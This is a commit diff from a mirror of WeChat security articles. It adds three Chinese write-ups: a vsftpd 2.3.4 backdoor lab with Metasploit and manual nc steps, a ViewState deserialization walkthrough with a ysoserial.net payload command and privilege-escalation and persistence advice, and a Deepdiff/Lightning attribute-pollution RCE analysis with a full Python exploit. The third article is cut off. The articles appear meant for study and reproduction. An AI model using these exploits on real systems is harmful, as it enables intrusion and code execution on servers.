mirror of
https://github.com/gelusus/wxvl.git
synced 2025-06-08 14:07:09 +00:00
VSFTPD 2.3.4 笑脸漏洞、某系统因属性污染导致的RCE漏洞分析、ViewState反序列化复现踩坑记录、
This commit is contained in:
parent
13a2da2aa7
commit
766bb25c25
@ -63,5 +63,8 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MzI2NzQ5MA==&mid=2247486636&idx=1&sn=5d9cfbe6b8393b15c60b04ca9c2c9588": "phpstudy_2016-2018_rce 漏洞复现",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487499&idx=4&sn=69d6613ba3812956a0388203252d7a8f": "【漏洞预警】易思智能物流无人值守系统SQL注入",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzUxMjU5OQ==&mid=2247484847&idx=1&sn=ab525f7b54b1842379879fcb44279dfe": "记录日常挖掘漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066024&idx=4&sn=46592438737abae8701b9ba1b7160d86": "【安全圈】俄罗斯黑客利用文件拖放、删除操作触发 Windows 0day 漏洞攻击乌克兰目标"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066024&idx=4&sn=46592438737abae8701b9ba1b7160d86": "【安全圈】俄罗斯黑客利用文件拖放、删除操作触发 Windows 0day 漏洞攻击乌克兰目标",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MzI2NzQ5MA==&mid=2247486684&idx=1&sn=b88c209774a7a72edb5ffd3d8185da12": "VSFTPD 2.3.4 笑脸漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650603615&idx=3&sn=445a8a9089db3200dfb6c7fcbbe83e1b": "某系统因属性污染导致的RCE漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247486126&idx=1&sn=f95aeac1e9863e39388748be5f93f44f": "ViewState反序列化复现踩坑记录"
|
||||
}
|
43
doc/VSFTPD 2.3.4 笑脸漏洞.md
Normal file
43
doc/VSFTPD 2.3.4 笑脸漏洞.md
Normal file
@ -0,0 +1,43 @@
|
||||
# VSFTPD 2.3.4 笑脸漏洞
|
||||
Sword 网络安全学习爱好者 2024-11-17 00:39
|
||||
|
||||
# 环境搭建
|
||||
|
||||
**压缩包需要下载特定版本,官方提供的安装包没有这个漏洞**
|
||||
|
||||
1.靶机环境是centos7 ,首先解压缩包,并上传到靶机目录
|
||||
|
||||
tar -zxvf 压缩包名称
|
||||
|
||||
2.进入vsftpd目录,赋予文件权限,之后进行make &&make install
|
||||
|
||||
cd /vsftpd-2.3.4
|
||||
|
||||
chmod 777 *
|
||||
|
||||
make &&make install
|
||||
# 漏洞利用
|
||||
## code:1
|
||||
|
||||
使用msf利用
|
||||
|
||||
```
|
||||
use exploit/unix/ftp/vsftpd_234_backdoor
|
||||
set RhoSTS 192.168.142.145
|
||||
exploit
|
||||
```
|
||||
|
||||
```
|
||||
```
|
||||
## code:2
|
||||
|
||||
手动利用
|
||||
|
||||
打开命令行登录ftp服务器,在用户名处输入root:)然后随意输入一个密码回车等待,
|
||||
|
||||

|
||||
|
||||
输入nc 目标ip 6200 即可连接
|
||||
|
||||

|
||||
|
313
doc/ViewState反序列化复现踩坑记录.md
Normal file
313
doc/ViewState反序列化复现踩坑记录.md
Normal file
@ -0,0 +1,313 @@
|
||||
# ViewState反序列化复现踩坑记录
|
||||
TtTeam 2024-11-16 16:01
|
||||
|
||||
<table><tbody><tr><td width="557" valign="top" height="62" style="word-break: break-all;"><section style="margin-bottom: 15px;"><span style="font-size: 14px;"><span style="color: rgb(217, 33, 66);"><strong>声明:</strong></span>该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。</span></section><section><span style="font-size: 14px;">请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。</span></section></td></tr></tbody></table>
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送,建议大家把
|
||||
潇湘信安
|
||||
“
|
||||
设为星标
|
||||
”,
|
||||
否则可能看不到了
|
||||
!
|
||||
|
||||
|
||||
某师傅遇到的一个ViewState反序列化提权遇到些问题,看到他在群里和其他几个师傅在交流就去问了下啥情况,然后我
|
||||
@尧
|
||||
哥就给我分享了他的这篇笔记,哈哈,感谢分享!!!
|
||||
|
||||
图片是我后边本地测试后补的,也记录了遇到的一些坑,大家可作为了解学习之用,仅供参考!!!
|
||||
|
||||
|
||||
**0x00 背景**
|
||||
|
||||
在ASP.NET应用程序中,ViewState
|
||||
是一种用于存储页面状态的机制,常被用于存储用户表单数据、控件状态等信息。然而,ViewState
|
||||
中的信息经过序列化后保存在页面上,如果开发者没有对其进行签名或加密,那么攻击者可以通过修改ViewState
|
||||
数据来执行恶意代码,甚至提权。
|
||||
|
||||
|
||||
**0x01 环境搭建**
|
||||
|
||||
我们先搭建一个简单的ViewState
|
||||
反序列化漏洞测试环境,在测试机上安装好IIS并选择.NET
|
||||
相关选项使其支持.NET脚本,源码用的网上师傅公开的,copy到web目录下即可。
|
||||
|
||||
|
||||
**hello.aspx**
|
||||
```
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
|
||||
<!DOCTYPE html>
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head runat="server">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<form id="form1" runat="server">
|
||||
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
|
||||
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
|
||||
Text="GO" class="btn"/>
|
||||
<br />
|
||||
<asp:Label ID="Label1" runat="server"></asp:Label>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
|
||||
**hello.aspx.cs**
|
||||
```
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Web;
|
||||
using System.Web.UI;
|
||||
using System.Web.UI.WebControls;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
|
||||
public partial class hello : System.Web.UI.Page
|
||||
{
|
||||
protected void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
protected void Button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
Label1.Text = TextArea1.Text.ToString();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
然后再禁用下ViewStateMac
|
||||
,可通过以下3种方式来禁用,不同.NET
|
||||
版本的禁用方式不太一样,这里我只是简单记录下,方便复现测试就行。
|
||||
```
|
||||
web.config文件中的enableViewStateMac(.NET≤4.5):
|
||||
<pages enableViewStateMac="false" />
|
||||
|
||||
web.config文件添加一个appSettings配置项(NET≥.4.5.2):
|
||||
<appSettings><add key="aspnet:AllowInsecureDeserialization" value="true" /></appSettings>
|
||||
|
||||
注册表禁用ViewStateMac(0:禁用,1:启用)(.NET≥.4.5.2):
|
||||
reg add "HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319" /v AspNetEnforceViewStateMac /t REG_DWORD /d 0 /f
|
||||
|
||||
需在数据包中删除VIEWSTATEENCRYPTED场景:
|
||||
enableViewStateMac=false,viewStateEncryptionMode=Always
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
**0x02 攻击准备**
|
||||
|
||||
**获取目标网站的ViewState信息:**
|
||||
|
||||
访问目标网站的一个页面,打开浏览器的开发者工具,查找HTML源代码中的ViewState
|
||||
字段。通常该字段以<input type="hidden" name="__VIEWSTATE" value="...">
|
||||
的形式存在。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**ViewState插件安装:**
|
||||
|
||||
viewstate-editor是一个可查看和编辑ViewState
|
||||
的BurpSuite插件,低版本1.7默认自带该插件,新版2021需在Extender
|
||||
->BApp Store
|
||||
安装(**注:**安装不了时需上墙安装)。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**ViewState插件使用:**
|
||||
|
||||
BurpSuite设置好监听并开启抓包,访问测试地址
|
||||
http://192.168.1.110/hello.aspx
|
||||
提交数据包,然后点击这插件的ViewState
|
||||
,如果是MAC is not enabled
|
||||
说明ViewStateMac
|
||||
已禁用。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**解码ViewState内容:**
|
||||
|
||||
ViewState默认是Base64
|
||||
编码的字符串,使用常见的工具(如:BurpSuite的Decoder或Python脚本)将其解码,得到序列化后的对象内容,如配置启用加密后则需要Key才能解。
|
||||
|
||||

|
||||
|
||||
|
||||
**0x03 攻击过程**
|
||||
|
||||
**第一步:查找不安全的ViewState配置**
|
||||
|
||||
检查ASP.NET应用的web.config
|
||||
配置文件,寻找与ViewState
|
||||
相关的设置,尤其是ViewStateEncryptionMode
|
||||
属性是否为Auto
|
||||
或Never
|
||||
。
|
||||
|
||||
此外,如果应用程序未配置MAC签名EnableViewStateMac="false"
|
||||
,那么ViewState是不安全的,可以被攻击者篡改。
|
||||
> Always:所有的ViewState数据都会被加密
|
||||
|
||||
Never:ViewState数据永远不会加密
|
||||
|
||||
Auto:默认值,只有部署在IIS7或更高版本上且应用程序没有配置任何加密密钥时,ViewState才会加密
|
||||
|
||||
|
||||
|
||||
**web.config**
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
<system.web>
|
||||
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Never" enableEventValidation="false" />
|
||||
<!--<machineKey decryption="AES" decryptionKey="DFE6143111640695FE6398BEFE11EE8C250948A3260E19BE" validation="SHA1" validationKey="55539B16C368A79B8DAC4994F6F5B627292EBF3AC940543215EE612EE4FCE1DDB07A2F25144016043D5BE349DA5074F5CA2BDF1DF2EE6BE0E475D2BED6DCE2E3" />-->
|
||||
</system.web>
|
||||
<!--<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>-->
|
||||
</configuration>
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
利用BurpSuite
|
||||
或Postman
|
||||
工具发出修改后的请求,观察是否可以通过篡改后的ViewState
|
||||
提交数据,并成功反序列化执行。
|
||||
|
||||
|
||||
|
||||
**第二步:构造恶意Payload进行反序列化**
|
||||
|
||||
**构造恶意对象:**
|
||||
|
||||
使用工具如ysoserial.net
|
||||
或ysoserial
|
||||
(适用于Java的ViewState反序列化攻击)来生成恶意的ViewState
|
||||
载荷,内置恶意命令或脚本。例如:
|
||||
|
||||
- https://github.com/pwntester/ysoserial.net
|
||||
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 123 > C:\ProgramData\2\testing.txt"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**替换ViewState:**
|
||||
|
||||
将生成的载荷替换原始页面的ViewState
|
||||
字段,然后将整个请求通过HTTP工具发送给服务器。此时如果服务器的ViewState
|
||||
签名和验证不安全,则会执行恶意对象内的代码。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
如果使用生成的恶意ViewState
|
||||
载荷成功进行反序列化攻击后会在C:\ProgramData\2\
|
||||
这个目录下创建一个testing.txt
|
||||
文本文件,其内容为123
|
||||
。
|
||||
|
||||

|
||||
|
||||
|
||||
**第三步:利用提权**
|
||||
|
||||
**提升权限:**
|
||||
|
||||
由于ASP.NET应用通常运行在NETWORK SERVICE
|
||||
账户下,攻击者可以使用反序列化的权限扩展漏洞(例如,将ViewState
|
||||
中的对象替换为高权限用户的token
|
||||
)来尝试执行系统命令,访问敏感文件,或直接获得应用程序的管理权限。
|
||||
|
||||
|
||||
这里推荐下
|
||||
@Rcoil师傅的SharpViewStateKing
|
||||
利用工具,已将ViewState
|
||||
反序列化的多种场景实现自动化,并且完成了命令执行、文件管理以及.NET内存执行等常用功能,我们可以使用Load Assembly
|
||||
加载.NET
|
||||
土豆提升权限。
|
||||
|
||||

|
||||
|
||||
|
||||
**持久化攻击:**
|
||||
|
||||
一旦获得更高权限的shell
|
||||
,我们就可以进一步在服务器上创建后门账户,设置持久的shell
|
||||
或利用工具进行内网横向移动等。
|
||||
|
||||
|
||||
**0x04 防御措施**
|
||||
|
||||
**强制启用ViewState签名和加密:**
|
||||
|
||||
在web.config
|
||||
文件中,确保ViewStateEncryptionMode
|
||||
设置为Always
|
||||
,并将EnableViewStateMac
|
||||
设置为true
|
||||
,这些措施可以阻止未授权的篡改和反序列化攻击。
|
||||
|
||||
|
||||
**使用ASP.NET验证密钥:**
|
||||
|
||||
设置一个强大的验证密钥(validationKey
|
||||
),并确保machineKey
|
||||
配置在Web服务器之间共享以防止篡改。
|
||||
|
||||
|
||||
**限制反序列化的对象:**
|
||||
|
||||
尽量避免将敏感对象存储在ViewState
|
||||
中,并在应用程序中禁用反序列化不受信任的对象。
|
||||
|
||||
|
||||
**web.config示例代码:**
|
||||
|
||||
以下代码展示了ViewState
|
||||
配置文件中的一些安全设置。
|
||||
```
|
||||
<system.web>
|
||||
<pages enableViewState="true" viewStateEncryptionMode="Always" enableEventValidation="true" />
|
||||
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey="AutoGenerate,IsolateApps" validation="SHA1" />
|
||||
</system.web>
|
||||
```
|
||||
|
||||
|
||||
**0x05 踩坑记录**
|
||||
|
||||
记录下我在本地测试遇到的坑,看了很多文章都是将文件写到C:\Windows\temp
|
||||
临时目录下,但我在测试时就死活写不进去,这里坑了我很久,原以为是环境有问题,测试了几台机器都这样,使用原应用池和新建应用池以及修改为SYSTEM
|
||||
权限还是写不进去......,SharpViewStateKing
|
||||
倒是可以正常连接,不知道大家有没有遇到过这个问题,还是遇到了没人记录这个问题......。
|
||||
|
||||
|
||||
最后我是使用ysoserial.net
|
||||
重新生成了一个不带==
|
||||
的载荷换了C:\ProgramData\2
|
||||
目录才写进去,这里测试只要带=
|
||||
也写不进去。这个问题实在没辙放弃挣扎了(不在一个点上浪费太多时间),大家如果遇到以下两种情况时可参考着解决吧,不行别喷我...0.0...!!!
|
||||
> 当前用户或目录权限问题导致C:\Windows\Temp写不进文件,可尝试更好其他可读写目录;ysoserial.net生成的base64反序列化载荷存在==时写不进去,可尝试修改写入字符或路径;
|
||||
|
||||
|
||||
|
452
doc/某系统因属性污染导致的RCE漏洞分析.md
Normal file
452
doc/某系统因属性污染导致的RCE漏洞分析.md
Normal file
@ -0,0 +1,452 @@
|
||||
# 某系统因属性污染导致的RCE漏洞分析
|
||||
黑白之道 2024-11-17 00:38
|
||||
|
||||

|
||||
|
||||
|
||||
前几天在逛huntr的时候,发现一个很有意思的漏洞,他是通过反序列化从而去污染类和属性导致的rce,在作者的描述中大致说明的漏洞的原理,该漏洞是通过绕过`Deepdiff `的反序列化限制,包括绕过魔术方法和白名单绕过,通过魔术方法可以访问其他模块、类和实例,并使用这种任意属性写入,最终导致rce。
|
||||
## 1、漏洞介绍
|
||||
|
||||
前几天在逛huntr的时候,发现一个很有意思的漏洞,他是通过反序列化从而去污染类和属性导致的rce,在作者的描述中大致说明的漏洞的原理,该漏洞是通过绕过Deepdiff的反序列化限制,包括绕过魔术方法和白名单绕过,通过魔术方法可以访问其他模块、类和实例,并使用这种任意属性写入,最终导致rce。
|
||||
> 原文链接:https://huntr.com/bounties/486add92-275e-4a7b-92f9-42d84bc759da
|
||||
|
||||
|
||||
这里我将原版的poc稍加进行改造,将Helper class转换后的内容直接写了出来,方便分析。
|
||||
```
|
||||
import requests, time, pickle, pickletools
|
||||
from collections import namedtuple
|
||||
from ordered_set import OrderedSet
|
||||
|
||||
def send_delta(d):
|
||||
requests.post(server_host + '/api/v1/delta', headers={
|
||||
'x-lightning-type': '1',
|
||||
'x-lightning-session-uuid': '1',
|
||||
'x-lightning-session-id': '1'
|
||||
}, json={"delta": d})
|
||||
|
||||
# Monkey patch OrderedSet reduce to make it easier to pickle
|
||||
OrderedSet.__reduce__ = lambda self, *args: (OrderedSet, ())
|
||||
|
||||
server_host = 'http://127.0.0.1:7501'
|
||||
command = 'dir'
|
||||
|
||||
# this code is injected and ran on the remote host
|
||||
injected_code = f"__import__('os').system('calc.exe')" + '''import lightning, sysfrom lightning.app.api.request_types import _DeltaRequest, _APIRequestlightning.app.core.app._DeltaRequest = _DeltaRequestfrom lightning.app.structures.dict import Dictlightning.app.structures.Dict = Dictfrom lightning.app.core.flow import LightningFlowlightning.app.core.LightningFlow = LightningFlowLightningFlow._INTERNAL_STATE_VARS = {"_paths", "_layout"}lightning.app.utilities.commands.base._APIRequest = _APIRequestdel sys.modules['lightning.app.utilities.types']'''
|
||||
|
||||
bypass_isinstance = OrderedSet
|
||||
|
||||
delta = {
|
||||
'attribute_added': {
|
||||
"root['function']": namedtuple,
|
||||
|
||||
# 绕过_collect_deltas_from_ui_and_work_queues中的isinstance(delta, _DeltaRequest)
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest": str,
|
||||
|
||||
# 绕过_process_requests中的isinstance(request, _APIRequest)
|
||||
"root['bypass_isinstance']": bypass_isinstance,
|
||||
# 将OrderedSet的__instancecheck__设置有内容使其返回true,但不可为可迭代的,否则isinstance会报错
|
||||
"root['bypass_isinstance'].'__instancecheck__'": str,
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].utilities.commands.base._APIRequest": bypass_isinstance(),
|
||||
|
||||
# 绕过get_component_by_name中的isinstance(current, LightningDict),使其能够遍历普通字典
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].structures.Dict": dict,
|
||||
|
||||
# 绕过get_component_by_name中的if not isinstance(child, ComponentTuple):
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.LightningFlow": bypass_isinstance(),
|
||||
"root['function'].'__globals__'['_sys'].modules['typing'].Union": list,
|
||||
|
||||
# 防止前面程序报错将`provided_state["vars"]`覆盖为空,就不会经过for循环
|
||||
"root['vars']": {},
|
||||
# or 将`_INTERNAL_STATE_VARS`覆盖为空,也不会进入报错对应的if条件语句里。
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.flow.LightningFlow._INTERNAL_STATE_VARS": (),
|
||||
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.name": "root.__init__.__builtins__.exec",
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.method_name": "__call__",
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.args": (injected_code,),
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.kwargs": {},
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.id": "root"
|
||||
}
|
||||
}
|
||||
|
||||
payload = pickletools.optimize(pickle.dumps(delta, 1)).decode() \
|
||||
.replace('__builtin__', 'builtins') \
|
||||
.replace('unicode', 'str')
|
||||
|
||||
# Sends the payload and does all of our attribute pollution
|
||||
send_delta(payload)
|
||||
|
||||
# Small delay to ensure payload was processed
|
||||
time.sleep(0.2)
|
||||
send_delta({}) # Code path triggers when this delta is recieved
|
||||
|
||||
```
|
||||
|
||||
接下来我将结合poc和代码对此漏洞进行分析
|
||||
## 2、漏洞入口及反序列化点
|
||||
|
||||
首先来看触发反序列化的点以及入口
|
||||
|
||||

|
||||
|
||||
当访问/api/v1/delta的接口时,从请求体中获取JSON数据并解析为字典类型,并取字典中的值delta作为参数实例化Delta,最后放入api_app_delta_queue队列中。
|
||||
|
||||
在实例化的过程中,会判断传入的类型,如果传入的字符串类型的则会调用pickle_load进行反序列化
|
||||
|
||||

|
||||
|
||||
在反序列化的时候会有一个白名单,需要反序列化的类必须在白名单里,所以一些常规的反序列化漏洞在这里都不能用。
|
||||
|
||||

|
||||
## 3、漏洞利用方式
|
||||
|
||||
看完了入口和反序列化,主要来看一下漏洞利用方式。
|
||||
|
||||
在随后的代码中,程序会先从队列中去除delta对象,如果有多个的话会被其进行遍历,然后进行+操作
|
||||
|
||||

|
||||
|
||||
在进行+操作时,实际上时调用类中的__add__方法,在此方法中,我们主要看一下self._do_attribute_added(),
|
||||
|
||||

|
||||
|
||||
在self._do_attribute_added()中,获取attribute_added中的内容,然后之后会根据其内容中的键值对动态的给类添加属性和值
|
||||
|
||||

|
||||
|
||||
这里的attribute_added依然是我们传入的字典,只不过内容已经是反序列化后的内容
|
||||
|
||||

|
||||
|
||||
_do_item_added()的关键代码如下
|
||||
```
|
||||
def _do_item_added(self, items, sort=True, insert=False):
|
||||
if sort:
|
||||
try:
|
||||
items = sorted(items.items(), key=self._sort_key_for_item_added)
|
||||
except TypeError:
|
||||
items = sorted(items.items(), key=cmp_to_key(self._sort_comparison))
|
||||
else:
|
||||
items = items.items()
|
||||
|
||||
for path, new_value in items:
|
||||
elem_and_details = self._get_elements_and_details(path)
|
||||
if elem_and_details:
|
||||
elements, parent, parent_to_obj_elem, parent_to_obj_action, obj, elem, action = elem_and_details
|
||||
else:
|
||||
continue
|
||||
|
||||
# Insert is only true for iterables, make sure it is a valid index.
|
||||
if(insert and elem < len(obj)):
|
||||
obj.insert(elem, None)
|
||||
|
||||
self._set_new_value(parent, parent_to_obj_elem, parent_to_obj_action,
|
||||
obj, elements, path, elem, action, new_value)
|
||||
|
||||
```
|
||||
|
||||
在_do_item_added中首先进行排序,然后遍历排序后的字典,使用self._get_elements_and_details方法通过字典中的键,也就是路径解析来定位对象,最后通过 _set_new_value() 使用字典的值更新最终的值。由于值以及时我们反序列化后的内容,所以这里的值可以为任何类型,例如对象,字符串,字典等。
|
||||
|
||||
这里主要关注的有两点,一是程序如何对路径进行解析的,二是如何动态的给类添加属性
|
||||
|
||||
首先来看对路径的解析,下面是获取路径中元素的方法:
|
||||
```
|
||||
def _get_elements_and_details(self, path):
|
||||
try:
|
||||
elements = _path_to_elements(path) # 解析给定的路径,返回一个元组
|
||||
if len(elements) > 1:
|
||||
elements_subset = elements[:-2]
|
||||
if len(elements_subset) != len(elements):
|
||||
next_element = elements[-2][0]
|
||||
next2_element = elements[-1][0]
|
||||
else:
|
||||
next_element = None
|
||||
parent = self.get_nested_obj(obj=self, elements=elements_subset, next_element=next_element)
|
||||
parent_to_obj_elem, parent_to_obj_action = elements[-2]
|
||||
obj = self._get_elem_and_compare_to_old_value(
|
||||
obj=parent, path_for_err_reporting=path, expected_old_value=None,
|
||||
elem=parent_to_obj_elem, action=parent_to_obj_action, next_element=next2_element)
|
||||
except Exception as e:
|
||||
self._raise_or_log(UNABLE_TO_GET_ITEM_MSG.format(path, e))
|
||||
return None
|
||||
return elements, parent, parent_to_obj_elem, parent_to_obj_action, obj, elem, action
|
||||
|
||||
```
|
||||
|
||||
首先通过_path_to_elements(path)解析路径,它会解析给定的路径,并将路径中的每一部分提取为元素,同时确定访问这些元素时应该使用的操作类型(如 GET 或 GETATTR)。这里的代码比较复杂,所以这里举一个例子来了解函数的作用:
|
||||
|
||||
例如在解析这个路径的时候
|
||||
```
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].api.request_types._DeltaRequest.test6"
|
||||
|
||||
```
|
||||
|
||||
就会返回
|
||||
```
|
||||
(('root', 'GETATTR'), ('function', 'GET'), ('__globals__', 'GETATTR'), ('_sys', 'GET'), ('modules', 'GETATTR'), ('lightning.app', 'GET'), ('api', 'GETATTR'), ('request_types', 'GETATTR'), ('_DeltaRequest', 'GETATTR'), ('test6', 'GETATTR'))
|
||||
|
||||
```
|
||||
|
||||
这里在解析路径的时候,其中在将路径和操作写入元组的时候会判断元素是否以__开头的,如果是则进入不了if条件里进行elements.append((elem, action))添加操作
|
||||
|
||||

|
||||
|
||||
但这里可以通过引号绕过,例如root['function'].'__globals__'['_sys']...,而且完全不影响后面的解析,因为在之后的literal_eval()方法里会将两边的引号去除。
|
||||
```
|
||||
def literal_eval(node_or_string):
|
||||
""" Evaluate an expression node or a string containing only a Python expression. The string or node provided may only consist of the following Python literal structures: strings, bytes, numbers, tuples, lists, dicts, sets, booleans, and None. Caution: A complex expression can overflow the C stack and cause a crash. """
|
||||
if isinstance(node_or_string, str):
|
||||
node_or_string = parse(node_or_string.lstrip(" \t"), mode='eval')
|
||||
if isinstance(node_or_string, Expression):
|
||||
node_or_string = node_or_string.body
|
||||
...
|
||||
def _convert(node):
|
||||
if isinstance(node, Constant):
|
||||
return node.value
|
||||
...
|
||||
return _convert(node_or_string)
|
||||
|
||||
```
|
||||
|
||||
上面是literal_eval部分代码,当输入的参数为'__globals__'时,由于他是字符串,因此首先会调用ast.parse() 将该字符串解析为抽象语法树(AST)。然后会检查是否是一个 Expression 对象。如果是,它会取出 Expression 的主体部分(body),即一个 Constant 节点,表示 __globals__。然后会调用 _convert() 函数来处理这个 Constant 节点。由于节点类型是 Constant,并且它的值是合法的 Python 字面量(在这里是字符串 __globals__),函数会直接返回这个值。
|
||||
|
||||
所以总的来说,因为它将字符串当作
|
||||
Python 字面量(直接表示固定值的数据)来解析。在 Python 里,带引号的内容是一个字符串字面量,literal_eval 会解析这个字面量,提取出引号中间的实际内容,返回不带引号的值。
|
||||
|
||||
在接下来的_get_nested_obj方法中,根据前面解析之后的elements 列表(例如 GET 或 GETATTR),从当前对象self中逐步提取嵌套对象。由于这里是取倒数第二个之前的所有元素的操作,所以这里获取的是目标对象的父对象。
|
||||
```
|
||||
def _get_nested_obj(obj, elements, next_element=None):
|
||||
for (elem, action) in elements:
|
||||
if action == GET:
|
||||
obj = obj[elem]
|
||||
elif action == GETATTR:
|
||||
obj = getattr(obj, elem)
|
||||
return obj
|
||||
|
||||
```
|
||||
|
||||
这里的起始对象是self,也就是Delta,如果操作是 GET,则将对象视为字典,并获取 elem 对应的值。如果操作是 GETATTR,则调用 getattr() 获取对象的属性。
|
||||
|
||||
由于之前我们反序列化的时候将root['function']的值覆盖成了namedtuple(在白名单里),而namedtuple的属性中又包含__globals__,得到了全局变量我们便可以获取到任意的模块方法和变量。
|
||||
|
||||
由于上面获取的是父对象,在_get_elem_and_compare_to_old_value中在获取到目标对象,可看到这个方法和上面获取对象的方法很相似。
|
||||
```
|
||||
def _get_elem_and_compare_to_old_value(self, obj, path_for_err_reporting, expected_old_value, elem=None, action=None,
|
||||
forced_old_value=None, next_element=None):
|
||||
try:
|
||||
if action == GET:
|
||||
current_old_value = obj[elem]
|
||||
elif action == GETATTR:
|
||||
current_old_value = getattr(obj, elem)
|
||||
else:
|
||||
raise DeltaError(INVALID_ACTION_WHEN_CALLING_GET_ELEM.format(action))
|
||||
except (KeyError, IndexError, AttributeError, TypeError) as e:
|
||||
...
|
||||
return current_old_value
|
||||
|
||||
```
|
||||
|
||||
以上,通过对路径的解析成功获取到了目标对象,接下来看看如何动态的给类添加属性,具体实现方法在self._set_new_value中
|
||||
```
|
||||
def _simple_set_elem_value(self, obj, path_for_err_reporting, elem=None, value=None, action=None):
|
||||
""" Set the element value directly on an object """
|
||||
try:
|
||||
if action == GET:
|
||||
try:
|
||||
obj[elem] = value
|
||||
except IndexError:
|
||||
if elem == len(obj):
|
||||
obj.append(value)
|
||||
else:
|
||||
self._raise_or_log(ELEM_NOT_FOUND_TO_ADD_MSG.format(elem, path_for_err_reporting))
|
||||
elif action == GETATTR:
|
||||
setattr(obj, elem, value)
|
||||
else:
|
||||
raise DeltaError(INVALID_ACTION_WHEN_CALLING_SIMPLE_SET_ELEM.format(action))
|
||||
except (KeyError, IndexError, AttributeError, TypeError) as e:
|
||||
self._raise_or_log('Failed to set {} due to {}'.format(path_for_err_reporting, e))
|
||||
|
||||
```
|
||||
|
||||
这里传入的obj已经是获取到的目标对象,这里会判断如果 action 是 GET,表示需要通过索引或键访问 obj 来设置值。如果 action 是 GETATTR,表示需要通过setattr方法给对象的属性设置值。
|
||||
|
||||
综上所述,我们可以通过对一个字典格式的类型进行序列化后请求/api/v1/delta并发送,后端会自动对其进行反序列化,并且在之后的操作中,会根据字典中的键作为路径进行解析,并通过路径找到对应的类,并通过setattr方法将传入字典的值给对象的属性设置值。
|
||||
|
||||
打过ctf做过ssti类型的题目的人会很快想到,如果可以调用某个对象的魔术方法和内置类,理论就可以通过调用基类(__bases__)或者当前函数或方法的全局命名空间(__globals__),然后就可以调用任意类和方法。通过上面这个方法,我们可以动态的修改和添加对象的属性
|
||||
## 4、各种绕过
|
||||
### (1)绕过isinstance(delta, _DeltaRequest)检测
|
||||
|
||||
这里在遍历received_deltas时,会有一处判断isinstance(delta, _DeltaRequest),但这里我们要进入的是api_or_command_request_deltas.append(delta),使得api_or_command_request_deltas不为空,所以这里要覆盖_DeltaRequest为其他,让他判断为假就能进入else语句。
|
||||
|
||||
payload:
|
||||
```
|
||||
"root['function'].'__globals__'['_sys'].modules['lightning.app'].core.app._DeltaRequest": str
|
||||
|
||||
```
|
||||
|
||||
这样将_DeltaRequest类覆盖为str类,在进行isinstance(delta, _DeltaRequest)返回False,最后就可以进入_process_requests方法
|
||||
|
||||

|
||||
### (2) 绕过isinstance(request, _APIRequest)检测
|
||||
|
||||
接下来_process_requests方法中,又会判断request是否是_APIRequests或类型的实例,这里我们需要要进入_process_api_request(app, request)
|
||||
|
||||

|
||||
|
||||
我们可以将delta对象中添加OrderedSet对象,并在OrderedSet中添加__instancecheck__属性为str,使得允许对OrderedSet实例的所有isinstance调用返回True
|
||||
> __instancecheck__ 是 Python 中的特殊方法,用于定制 isinstance() 函数的行为。你可以自定义 isinstance() 的逻辑,使其在特定条件下返回 True 或 False,甚至可以跳过默认的类型检查逻辑。
|
||||
|
